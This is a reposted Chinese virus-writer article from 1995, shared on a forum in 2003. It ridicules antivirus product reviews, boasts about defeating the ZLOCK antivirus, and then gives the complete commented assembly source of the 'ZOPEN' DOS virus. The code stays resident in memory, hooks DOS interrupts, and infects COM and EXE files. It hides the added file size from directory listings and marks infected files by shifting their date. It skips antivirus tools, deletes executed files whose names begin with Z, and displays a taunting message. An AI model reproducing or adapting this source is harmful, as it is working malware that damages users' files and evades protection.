|
楼主 |
发表于 2003-1-27 09:18:44
|
显示全部楼层
◎金蟬 V.S ZLOCK(附:ZOPEN.ASM)◎
by Zhuge Jin of TPVO
==========================================================================
嗨!大家好... 我是「黑暗奸殺者」,江湖上大家都叫我「豬哥」。怎樣...
很親切吧... 沒錯... 我這個人脾氣就係很怪!如果此人來意不善,我決不二話,
保證不跟該人有妥協的餘地!!沒辦法... 誰叫我是豬脾氣呢??哈!愈講愈變態
!
這次Dark Slayer 這位酷哥寫了一份SFT 的說明檔,大家了解了嗎??其實那
裡面的一隻小毒寶寶已可將ZLOCK 給幹掉了... 而我寫的這隻病毒是一隻常駐的!
他不但能幹掉ZLOCK ,同時也可隱藏檔案大小噎... 相信如果你是初學者!到可以
好好研究,因為這還不算很難寫的...
上次聚會的時候,我的好友要求我寫個常駐破壞??破壞??我想不到除了幹
掉硬碟之外,還有什麼就做破壞呢??唉!想當年... 算了... 那幹掉ZLOCK 的程
式檔算是夠狠吧... 嗯!聽他們的 USER 說!安裝 ZSIR 會當機??嘿!我想...
哈!讓他們裝了好幾次都裝不成,夠累人哦... :_)
咦!最近好像很少有新病毒可玩玩了,這也代表說他們那些防毒業者沒法再招謠撞
騙了... 因此就只能抓些以前一些老毒來季評囉... 像我最近看到 [真衰月刊] ,
他們還是老毛病... 我就引一些來討論囉... :()
----------------------------------------
1)MSAV 6.22 在此次測試中,讀者不難看出
其防毒功能已不能滿足現實需求,且其佔
用46KB記憶體並未帶給它太多的優勢,希
望在下一版本有很好的表現。儘管MSAV功
能不能滿足,但其在防禦SKID ROW系列、
BAD HEAD系列、壓縮病毒系列,仍然表現
不錯,讀者可列為防毒參考。
----------------------------------------
ZJ: 沒錯!她佔記憶体的確很多,可是會不會在下一版改進那就不得而知了...
就算是會有下一版,但也不見得會有所好表現,畢竟Microsoft 應該作的是,
在於系統安全上的補強,而不是在防毒方面上。至於說參考,我想沒一人會做
,除非是玩病毒... 總不該叫一些不懂病毒的人將她常駐嘛... 由此可見,他
們還是認為他們最棒的... 你說不是嗎??哈!你們說我有沒有強辭奪理呢..
----------------------------------------
2)TBAV 6.30 之表現與上次季評差不多,同
樣是在偵防上表現優異................
....................................
。另外其解未知毒功能在此次並未發揮太
大的效力,不過其整體表現仍然在一般防
毒軟體之上。
----------------------------------------
ZJ: 上次?上次有季評嗎?我記得上次季評沒看到 TBAV 唉... 雖然她在解未知
毒的效力不太大,但也不致於當的如此的離譜... 至於一般防毒軟体之上?
唉!不用我多說吧... 還不都是說自家的最棒...
----------------------------------------
3)PC-CILLIN 4.1 在此次測試中,其偵防的
能力的確應受到肯定,但其對攔截 SKID
ROW之磁區填碼型、CRUNCHER壓縮型及BAD
HEAD、CVEX資料檔感染型,仍未改善,而
對於馬蓋先4.0 在此次測試,會發生當機
而不致漫延。開機型部份,其資料比對的
防毒方式,在面對GOLDEN CICADA 金蟬病
毒時,顯然失效。儘管如此,其仍不失為
防毒時參考的軟體。
----------------------------------------
ZJ: 至於當機會不致漫延??好像在說 PC-cillin 是用當機來防 Mac 4.0 的似
... 而他們列舉了這麼多病毒可突破PC-cillin ,而卻說不失為防毒時參考
的軟体... 你說有那個白痴看了後會去買 PC-cillin ??我吧!!:_(
----------------------------------------
4)ZSIR 500 是以ZLOCK J4.52 PW37 與ZSIR
F3.6作測試。ZLOCK 在偵、防上的能力,
相當一致,而且在攔截到病毒時所發出的
警告,亦十分明確。此次各位讀者可以發
現ZLOCK 在攔截ASSASSIN病毒上出現漏洞
,不過啟動MODE 2可以發現有不正常寫入
。..................................
----------------------------------------
ZJ: 用 MODE 2 來防??這是他們的藉口啊!大家千萬不要受騙啊... 如果用這
樣來防啊!那倒不如將硬碟鎖起來,何需用 ZLOCK 呢??
----------------------------------------
(1)攔截HD/IO病毒的技術
(2)攔截直接驅動I/O port的病毒
(3)攔截資料感染的技術
(4)可在DOS進入之前攔截開機型病毒
----------------------------------------
ZJ: 首先我先強調一點,病毒在怎變化也只有那幾種,沒有必要將病毒說的那麼
雜,好像病毒有多可怕... 哇!怕死了... 我要買 ZLOCK ...
針對第( 4)點,要破「牠」簡直太容易... 能在DOS 進入前攔開機型病毒,
那如果在DOS 進入後,病毒再攔中斷那不就掛了... 反正他的漏洞就是沒想
過,而廣告卻是絞盡腦汁... 要不是我懶的寫,不然的話就把「牠」姦殺了
。哇!哈!哈!哈!(又...)
至於趨勢呢?哇!大酷哥!!居然連 Stoned 3/6 都出場了... 我真是敗給他
了!那是多久的病毒呢?大家都比我還清楚!當時這隻病毒是靠一堆外銷的原版磁
片而傳到荷蘭去的,這些我都知道... 我不知道... 我真的不知道??這隻毒還有
什麼好講的... 唉!!太酷了... 喂!大姜XX !!我不相信你講古會比我行...
我讀過,西周史 、春秋史 、戰國冊 、秦漢 、三國 、明 、南明... 其他列傳就
自不必再說了... 改天向你討教討教... ;_)
看完了上個兒,你對ZLOCK 的真面目有了解多少呢??往後我一有時間我會開
個專欄來揭穿ZLOCK 的假面具... 請大家期待吧!!:_)
==========================================================================
;
; This is [ZOPEN] virus ...
; Written by Zhuge Jin at TPVO , 1995 .
;
..286
ZOPEN SEGMENT
ASSUME CS ZOPEN,DS ZOPEN
org 0000h
start:
vir_start:
call locate ;
locate:
pop si ;
sub si,OFFSET locate ; 取偏移值...
chk_vsign:
push cs
pop ds
mov ax,4bach ; 判斷病毒有無常
int 21h ; 駐...
cmp ax,0ac4bh ; 若已常駐則轉!!!
jz run_org_prg ;
tsr:
mov ax,es ; 取 MCB 的段位置
dec ax ; ...
mov ds,ax ;
cmp byte ptr ds:[0000h],'Z' ; 是最後一個 MCB 嗎?
jnz run_org_prg ;
add word ptr ds:[0003h],-para_size ; 幫記憶体減肥囉 :_)
add word ptr ds:[0012h],-para_size ;
mov ax,ds:[0012h] ; *注意* AX=????
push cs
pop ds
push es
xor bx,bx ; set es:=0000h
mov es,bx ;
mov bx,OFFSET vint21h ; 攔 int 21h ...
xchg bx,es:[0084h] ;
mov ds:[si+OFFSET int21_o],bx ;
mov ds:[si+OFFSET oint21_o],bx ;
mov bx,ax ;
xchg bx,es:[0086h] ;
mov ds:[si+OFFSET int21_s],bx ;
mov ds:[si+OFFSET oint21_s],bx ;
mov bx,OFFSET vint2fh ; 攔 int 2fh ...
xchg bx,es:[00bch] ;
mov ds:[si+OFFSET int2f_o],bx ;
mov bx,ax ;
xchg bx,es:[00beh] ;
mov ds:[si+OFFSET int2f_s],bx ;
call get_org_int21h ; 一個非常豬哥的副程式... z.Z.
push si ; 跟上面的 * 號有關係囉...
mov cx,vir_size ; 目的是將病毒常駐到 6??k
xor di,di ; 附近...
mov es,ax ;
cld ;
rep movsb ;
pop si ;
pop es
run_org_prg:
mov ax,ds:[0000h] ; 這裡就係執行原程式...
push es ;
pop ds ;
cmp ax,20cdh ; 是 com 檔嗎?
jnz run_exe ; 不是就轉囉... :_)
run_com:
mov ax,cs:[si+OFFSET com_f1]
mov ds:[0100h],ax
mov al,cs:[si+OFFSET com_f2]
mov ds:[0102h],al
push ds
push 0100h
retf
run_exe:
mov ax,es
add ax,0010h
add cs:[si+OFFSET exe_jmp_cs],ax
mov sp,cs:[si+OFFSET org_sp]
add ax,cs:[si+OFFSET org_ss]
mov ss,ax
db 0eah ; jmp exe_jmp_cs:exe_jmp_ip
exe_jmp_ip dw ?
exe_jmp_cs dw ?
get_org_int21h: ; 這裡係我取原 DOS 進入點的副程
push ax ; 式... 你有你有的方法, 這方法
push di ; 沒固定的... :_)
push si ; 加油!!!
push ds
mov di,si
cld
xor ax,ax
mov ds,ax
mov si,ds:[00c1h]
mov ax,ds:[00c3h]
mov ds,ax
lodsw
cmp ax,9090h
jnz chk_ent
chk_jmp:
lodsb
cmp al,0ffh
jnz chk_jmp
lodsb
cmp al,2eh
jnz chk_jmp
lodsw
mov si,ax
lodsw
push ax
lodsw
pop si
mov ds,ax
chk_ent:
cmp si,0f000h
jae chk_end
lodsb
cmp al,06h
jnz chk_ent
lodsw
cmp ax,551eh
jnz chk_ent
sub si,0003h
mov cs:[di+OFFSET oint21_o],si
mov cs:[di+OFFSET oint21_s],ds
chk_end:
pop ds
pop si
pop di
pop ax
ret
dir_stealth: ; 這裡係隱藏檔案大小的...
call int21h
cmp al,0ffh
jz ds_ext
push ax
push bx
push es
mov ah,2fh
call int21h
cmp byte ptr es:[bx],0ffh
jnz ds_noex
add bx,0007h
ds_noex:
mov ax,es:[bx+19h]
shr ah,01h
cmp ah,64h
jb ds_not
sub word ptr es:[bx+1dh],vir_size
sbb word ptr es:[bx+1fh],0000h
ds_not:
pop es
pop bx
pop ax
ds_ext:
popf
iret
find_stealth: ; 這裡係隱藏檔案大小的...
popf
call int21h
jc fs_ext
push ax
push bx
push es
mov ah,2fh
call int21h
mov ax,es:[bx+18h]
shr ah,01h
cmp ah,64h
jb fs_not
sub word ptr es:[bx+1ah],vir_size
sbb word ptr es:[bx+1ch],0000h
fs_not:
pop es
pop bx
pop ax
clc
fs_ext:
retf 0002h
vint21h:
pushf
cmp ax,4bach ; 病毒自我判段的 vsign ...
jz vir_sign ;
cmp ax,4b00h ; 是在執行檔案嗎?
jz vint21_jmp ; 是就轉囉...
; cmp ah,3dh ; 這裡你可以將之 dismark ...
; jz vint21_jmp ; 而後凡開檔都會感染...
; cmp ax,6c00h ;
; jz vint21_jmp ;
cmp ah,11h
jz dir_stealth
cmp ah,12h
jz dir_stealth
cmp ah,4eh
jz find_stealth
cmp ah,4fh
jz find_stealth
dos_int21h:
popf ; 跳回 DOS int21h 去...
jmp dword ptr cs:int21_o ;
vir_sign:
xchg ah,al ; 設置 老豬 vsign ... ︿ ︿
popf ; ((
iret ; ( (oo) )
vint21_jmp:
jmp vint21
vint21:
mov cs:reg_ax,ax
push bx
push cx
push dx
push di
push si
push ds
push es
push cs
pop es
cmp ah,6ch
jnz not_ah_6ch
mov dx,si
not_ah_6ch:
mov si,dx
mov ah,60h
mov di,OFFSET buffer
call oint21h
push cs
pop ds
mov si,di
cld
find_00h:
lodsb
cmp al,00h
jnz find_00h
sub si,0004h
lodsw
cmp ax,'OC'
jnz chk_exe_file
lodsb
cmp al,'M'
jnz jmp_ext
jmp infect_file
chk_exe_file:
cmp ax,'XE'
jnz jmp_ext
lodsb
cmp al,'E'
jnz jmp_ext
jmp infect_file
jmp_ext:
jmp vint21_ext
infect_file:
; push es ; 哦! 沒事... 無聊寫來的...
; mov ax,0b000h ;
; mov es,ax ;
; mov ax,0701h ; ︿ ︿
; mov es:[0000h],ax ; (@)(@)
; pop es ; ( (oo) )
call chk_not_file ; 呼叫 不屑感染名單 ...
jc vint21_ext ; CF=1 嗎? 是則轉!!!
mov ax,3d00h ; 開檔
mov dx,di ;
call oint21h ;
jc jmp_ext
mov bx,ax
mov cs:handle,bx
xor ax,ax ; 攔 int 24h ...
mov es,ax ;
push word ptr es:[0090h] ;
push word ptr es:[0092h] ;
mov word ptr es:[0090h],OFFSET vint24h ;
mov word ptr es:[0092h],cs ;
call get_sft ; 取 SFT 的位址 ...
mov word ptr es:[di+02h],0002h ; 這個我們的酷哥已講過了... R/W mode !
mov ax,es:[di+0fh] ; 取 date ...
shr ah,01h ;
cmp ah,64h ; 比 100 小嗎?
jb not_infect ; 是則... 尚未感染... ;_)
jmp close_file ;
not_infect:
push cs
pop es
mov ah,3fh ; 讀檔案前 1ch bytes
mov cx,001ch ;
mov dx,OFFSET exe_head ;
call oint21h ;
jc close_file
; mov si,dx ; 哦! 方便我解毒用... :_)
; mov di,OFFSET buffer ;
; cld ;
; repz movsb
mov si,dx
mov ax,ds:[si]
cmp ax,'ZM' ; 是 exe 檔嗎????
jnz infect_com ; 不是就係 com 檔囉... :_)
jmp infect_exe
close_file:
mov ah,3eh ; 關檔...
mov bx,cs:handle ;
call oint21h ;
xor ax,ax ; 恢復 int 24h ...
mov ds,ax ;
pop word ptr ds:[0092h] ;
pop word ptr ds:[0090h] ;
vint21_ext:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
mov ax,cs:reg_ax
popf
jmp dword ptr cs int21_o
infect_com:
mov ax,ds:[si] ; 保存 com 檔前 3 bytes ...
mov ds:com_f1,ax ;
mov al,ds:[si+02h] ;
mov ds:com_f2,al ;
call get_sft
mov ax,es:[di+11h] ; 取該 com 檔的 size ...
cmp ax,63000
ja close_file ; 哇! 太大了... 不能用喔...
cmp ax,1000
jb close_file ; 哇! 太小了... 有詐哦...
push ax
mov ds:jmp_f2,ax
sub word ptr ds:jmp_f2,0003h
mov word ptr es:[di+15h],0000h
mov ah,40h ; 寫個 jmp xxxx 至 com 檔
mov cx,0003h ; 的前 3 bytes ...
mov dx,OFFSET jmp_f1 ;
call int21h ;
pop ax
jc close_file
mov es:[di+15h],ax ; 將病毒主体加在檔尾...
mov ah,40h ;
mov cx,vir_size ;
xor dx,dx ;
call int21h ;
call set_date ;把檔案日期加 100 年...
jmp close_file
infect_exe:
cmp word ptr ds:[si+1ah],0000h
jnz close_file
mov ax,ds:[si+0eh]
mov ds org_ss,ax
mov ax,ds:[si+10h]
mov ds org_sp,ax
mov ax,ds:[si+14h]
mov ds:exe_jmp_ip,ax
mov ax,ds:[si+16h]
mov ds:exe_jmp_cs,ax
call get_sft
mov ax,es:[di+11h]
mov dx,es:[di+13h]
mov cx,0010h
div cx
sub ax,ds:[si+08h]
mov ds:[si+14h],dx
mov ds:[si+16h],ax
add dx,vir_size
mov ds:[si+0eh],ax
mov ds:[si+10h],dx
mov ax,es:[di+11h]
mov dx,es:[di+13h]
add ax,vir_size
adc dx,0000h
mov cx,0200h
div cx
and dx,dx
jz no_cf
inc ax
no_cf:
mov ds:[si+04h],ax
mov ds:[si+02h],dx
mov word ptr es:[di+15h],0000h
mov ah,40h ; 寫 exe 的檔頭...
mov cx,001ch ;
mov dx,si ;
call int21h ;
jc inf_exe_err
mov ax,4202h ; 移動檔案指標至檔尾...
xor cx,cx ;
xor dx,dx ;
call oint21h ;
mov ah,40h ; 將病毒主体加在檔尾...
mov cx,vir_size ;
xor dx,dx ;
call int21h ;
call set_date ;把檔案日期加 100 年...
inf_exe_err:
jmp close_file
int21h:
pushf
call dword ptr cs:int21_o
ret
oint21h:
pushf
call dword ptr cs:oint21_o
ret
vint24h:
xor al,al
iret
vint2fh:
pushf
cmp ax,1216h
jnz dos_int2fh
popf
call int2fh
jb v2f_err
push ax
mov ax,es:[di+0fh]
shr ah,01h
cmp ah,64h ; 該檔已中毒嗎?
jb v2f_sten ; 沒就跳開...
sub byte ptr es:[di+10h],11001000b ; 將年數減回來...
sub word ptr es:[di+11h],vir_size ; 檔案大小減掉...
sbb word ptr es:[di+13h],0000h ; 此舉可讓一些爛 AV ...@#$%
v2f_sten:
pop ax
clc
v2f_err:
retf 0002h
dos_int2fh:
popf
jmp dword ptr cs:int2f_o
int2fh:
pushf
call dword ptr cs int2f_o
ret
get_sft:
push bx
mov ax,1220h
call int2fh
mov ax,1216h
xor bx,bx
mov bl,es:[di]
call int2fh
mov ax,es:[di+0dh]
mov cs org_time,ax
mov ax,es:[di+0fh]
mov cs org_date,ax
pop bx
ret
set_date:
mov ax,5701h
mov bx,cs:handle
mov cx,ds org_time
mov es:[di+0dh],ax
mov dx,ds org_date
add dh,11001000b ; 加 100 年...
call int21h
ret
chk_not_file:
std
lodsb
cmp al,'\'
jnz chk_not_file
cld
lodsw
mov ax,ds:[si]
cmp al,'Z' ; 是 Z 開頭的檔案嗎???
jz del_file ; 是... 就去將 牠 正法吧... 哈! 哈!
push di
mov di,si
push di
mov si,OFFSET not_file
xor cx,cx
chk_again:
pop di
push di
inc si
add si,cx
cmp word ptr ds:[si-01h],0ffffh
jz chk_fa
xor cx,cx
mov cl,ds:[si-01h]
repz cmpsb
jnz chk_again
pop di
pop di
stc
ret
chk_fa:
pop di
pop di
clc
ret
del_file:
cmp word ptr cs:reg_ax,4b00h
jnz not_4bh
mov ah,41h ; 殺檔... ;_>
mov dx,di ;
call oint21h ;
jc no_msg
mov ah,09h ; 秀我的大名囉... :_)
mov dx,OFFSET msg ;
call int21h ;
no_msg:
mov word ptr cs:reg_ax,4c00h
not_4bh:
ret
not_file db 7,'COMMAND' ; 這裡係 不屑感染名單 ... ;_)
db 3,'IBM' ;
db 2,'PC' ;
db 2,'TB'
db 4,'CKVI'
db 4,'KLVI'
db 4,'DEVI'
db 5,'BTOOL'
db 5,'RTOOL'
db 5,'TDISK'
db 4,'SCAN'
db 5,'CLEAN'
db 2,'F-'
db 0ffh,0ffh
int21_o dw ?
int21_s dw ?
int24_o dw ?
int24_s dw ?
int2f_o dw ?
int2f_s dw ?
oint21_o dw ?
oint21_s dw ?
handle dw ?
reg_ax dw ?
org_sp dw ?
org_ss dw ?
org_time dw ?
org_date dw ?
com_f1 dw 20cdh
com_f2 db 90h
jmp_f1 db 0e9h
jmp_f2 dw ?
exe_head dw ?
exe_l02h dw ?
exe_l04h dw ?
dw ?
exe_l08h dw ?
db 4 dup (?)
exe_ss dw ? ;exe_l0eh
exe_sp dw ? ;exe_l10h
exe_sum dw ?
exe_ip dw ? ;exe_l14h
exe_cs dw ? ;exe_l16h
db 4 dup (?)
msg db 0dh,0ah,'Your PC was now OPEN! Whao! Ha! Ha! Ha! Ha!',0dh,0ah
db 0dh,0ah,'== Written by Zhuge Jin at TPVO , 1995 ==',0dh,0ah
db 0dh,0ah,'=== Taiwan Power Virus Organization. ===',0dh,0ah
db 07h,'$'
buffer db 0100h dup(?)
vir_size equ $-OFFSET vir_start ; 病毒的 size ...
para_size equ ($-OFFSET vir_start)/10h+02h
ZOPEN ends
end start |
|